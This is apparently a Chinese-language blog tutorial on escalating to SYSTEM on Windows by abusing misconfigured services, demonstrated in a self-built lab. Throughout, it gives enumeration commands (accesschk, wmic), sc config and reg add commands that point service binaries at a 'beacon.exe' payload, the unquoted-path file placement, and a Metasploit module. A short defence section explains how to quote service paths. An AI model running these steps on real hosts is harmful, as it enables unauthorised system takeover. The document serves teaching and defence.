利用Windows系统服务进行权限提升

时间:2023-01-27 09:54:05

提权是后渗透重要的一环节,如果当前获取的用户权限比较低,那么我们将无法访问受保护的系统资源或执行系统管理操作,影响后续的攻击过程。这要求我们通过各种手段将当前用户的权限进行提升,以满足后续攻击的要求。

利用系统服务提权

通过情况下,用户安装的一些应用软件会在本地注册一些服务,并且大多数服务在计算机开机时以系统system权限启动。应用软件在注册服务时,会在以下路径中创建相应的注册表项。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

如下MySQLa服务注册表的信息,其中的ImagePath键指向该系统服务所启动的二进制文件

利用Windows系统服务进行权限提升

windows系统服务在操作系统启动时运行,并在后台调用相应的二进制文件。由于大多数系统服务时以系统权限(sytem)权限启动的,如果让系统启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,这是利用系统服务提权的主要思路。

系统服务提权从主观上可以归咎于用户的配置疏忽或操作失误,如不安全的服务权限、服务注册表权限脆弱、服务路径权限可控、未引用的服务路径等。

不安全的服务权限

该方法是由于服务的管理配置错误,导致本地普通用户对一些服务拥有过多的权限,例如修改服务配置等。

可制作木马文件上传至服务器,并将某服务的路径更改为木马文件,服务启动则会执行恶意代码

ACL定义了安全对象的访问控制策略,用于规定哪些主体对其拥有访问权限和拥有什么样的权限。windows的系统服务正是通过ACL来指定用户对其拥有的权限,常见的权限如下表

权限

说明

SERVICE_START

启动服务的权限

SERVICE_STOP

停止服务的权限

SERVICE_PAUSE_CONTINUE

暂停/继续运行服务的权限

SERVICE_QUERY_STATUS

查询服务状态的权限

SERVICE_QUERY_CONFIG

查询服务配置的权限

SERVICE_CHANGE_CONFIG

更改服务配置的权限

SERVICE_ALL_ACCESS

完全控制权限

假设目标主机的用户在配置服务时存在疏忽,使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS),就可以通过这个低权限用户直接修改服务启动时的二进制文件路径。

在实战中,AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk是微软官方提供的管理工具,常用来枚举或查看系统中指定用户、组队特定资源(包括但不限于文件、文件夹、注册表、全局对象或系统服务等)的访问权限。

环境搭建

先用本地管理员授予test用户对apache服务的完全控制权限,参考:https://www.yuque.com/chenchen-dqalz/qe15s1/er9olfttlz32sfyu

subinacl.exe /service apache /grant=test=F

此时,就可以模拟管理员由于疏忽,让低权限用户test对高权限下运行的系统服务拥有更改服务配置的权限这么一种情况

  1. 执行以下命令

普通用户test,查看自身对哪些服务有更改配置的权限

accesschk.exe /accepteula test -uwcqv *

此时,可以看到,test用户对 "apache"服务拥有SERVICE_ALL_ACCESS权限

利用Windows系统服务进行权限提升
  1. 替换apache服务启动时的二进制文件为poc,并重启系统或重启服务

sc config 服务名 binpath= "cmd.exe /k c:\beacon.exe"
利用Windows系统服务进行权限提升

服务注册表权限脆弱

windows的注册表中存储了每个系统服务的条目,而注册表使用ACL来管理用户对其所拥有的访问权限。如果注册表的ACL配置错误,使得一个低权限用户对服务的注册表拥有写入权限,此时可以通过修改注册表来更改服务配置。例如,修改注册表中的ImagePath键,从而变更服务启动时的二进制文件路径。

环境配置

如下配置,使得低权限用户对apache服务的注册表拥有写入权限

利用Windows系统服务进行权限提升

权限提升

  1. 切换到普通用户test,执行如下,通过AccessChk在目标主机中检查test用户是否对某个服务的注册表有写入权限

accesschk.exe /accepteula test -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

发现对apache服务的注册表拥有完全控制权限

利用Windows系统服务进行权限提升
  1. 将该服务的注册表中的ImagePath键指向预先上传的攻击载荷

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\apache /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k c:\beacon.exe" /f
利用Windows系统服务进行权限提升
  1. 检查当前用户对该服务是否有重启权限

accesschk.exe /accepteula test -ucqv apache

可见没有重启该服务的权限

利用Windows系统服务进行权限提升

所以,只能等待系统重启,最终提权如下

利用Windows系统服务进行权限提升

服务路径权限可控

如果目标主机上用户存在错误配置或操作,使得一个低权限的用户对此服务调用的二进制文件或其所在目录拥有写入权限,那么可以直接将该文件替换成攻击载荷,并随着服务的启动继承系统权限。

如下,用AccessChk查看apache这个服务的二进制文件所在目录是否有写入权限

accesschk.exe /accepteula -quv "C:\phpStudy\PHPTutorial\Apache\bin"

如果有写入权限,则可以替换服务的二进制文件,过程略...

未引用的服务路径

未引用的服务路径曾被称为可信任的服务路径(Trusted Service Paths),利用了windows文件路径解析的特性。当服务启动所执行的二进制文件的路径中包含空格且没有用引号括起来,就会导致该漏洞。

如果一个服务调用的可执行文件的路径没有被双引号引起来,且路径带空格,且当前用户又有写权限。这个漏洞就会被攻击者用来上传任意可执行文件。

漏洞原理

造成该漏洞的根本原因在于windows系统中用户创建进程的CreateProcess函数,语法如下

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

其中,lpApplicationName参数用户指定要执行的模块或应用程序的路径或文件名。如果完整路径中包含空格且未有效包含在引号中,那么对于该路径中的每个空格,windows会按照从左到右的顺序依次尝试寻找并执行与空格前的名字相匹配的程序。例如,对于如下的路径

C:\Program Files\Vulnerable Service\Sub Directory\service.exe

系统依次寻找并执行如下的程序

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

注意,当系统在依次尝试服务路径中的空格时,会以当前服务所拥有的权限进行。因此,测试人员可以将一个特殊命名的攻击载荷上传到受影响的目录中,当重启服务时,攻击载荷将随着服务的启动继承系统权限,但前提是当前目录对受影响的目录具有写入权限。

漏洞环境设计

  1. 管理员打开cmd,创建目录\test data\vuln\,并创建名为vulns的服务,服务的可执行文件路径包含空格且未被引号包裹

mkdir "C:\Program Files\wgy\test data\Vuln" && sc create "vulns" binpath= "C:\Program Files\wgy\test data\Vuln\file.exe" start= auto

如下服务的可执行文件路径包含空格且未被引号包裹

利用Windows系统服务进行权限提升

正常包含空格的路径是需要被引号包裹的

利用Windows系统服务进行权限提升
  1. 给\test data\目录授权普通用户可写的权限

利用Windows系统服务进行权限提升

这里,漏洞环境就准备好了

权限提升

切换到普通用户test

  1. 枚举目标主机上存在该漏洞的系统服务

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

#-i 不区分大小写,-v 打印不匹配的行

枚举出两个结果,可见第二个服务vulns的路径是包含空格的,所以其可能存在漏洞

利用Windows系统服务进行权限提升
  1. 查看是否有写入权限

发现\wgy\具有写入权限

accesschk.exe /accepteula -quv "c:\Program Files\" && accesschk.exe -quv "c:\Program Files\wgy\"
利用Windows系统服务进行权限提升

或者使用icacls查看

icacls "c:\Program Files" && icacls "c:\Program Files\wgy"
利用Windows系统服务进行权限提升

此时向"c:\Program Files\wgy\"目录上传一个名为test.exe的poc

copy beacon.exe "c:\Program Files\wgy\test.exe"

利用Windows系统服务进行权限提升

服务重启后,系统会按照前文说过的顺序依次检查服务路径,当检查到"c:\Program Files\wgy\test.exe"时,攻击载荷将以system权限运行

利用Windows系统服务进行权限提升

防御

为了避免该类漏洞的影响,在使用sc创建系统服务时,应有效的对存在空格的服务路径使用引号包裹,如下

sc create "vulns" binpath= "\"C:\Program Files\wgy\test data\Vuln\file.exe\"" start= auto

msf利用

可以使用msf发现未引用的服务路径漏洞。先获取一个低权限的session

use windows/local/unquoted_service_path
set session 1
set lport 5555
run

如下,成功发现漏洞,但是由于没有重启该服务的权限,只能等待系统重启后才能执行攻击载荷

利用Windows系统服务进行权限提升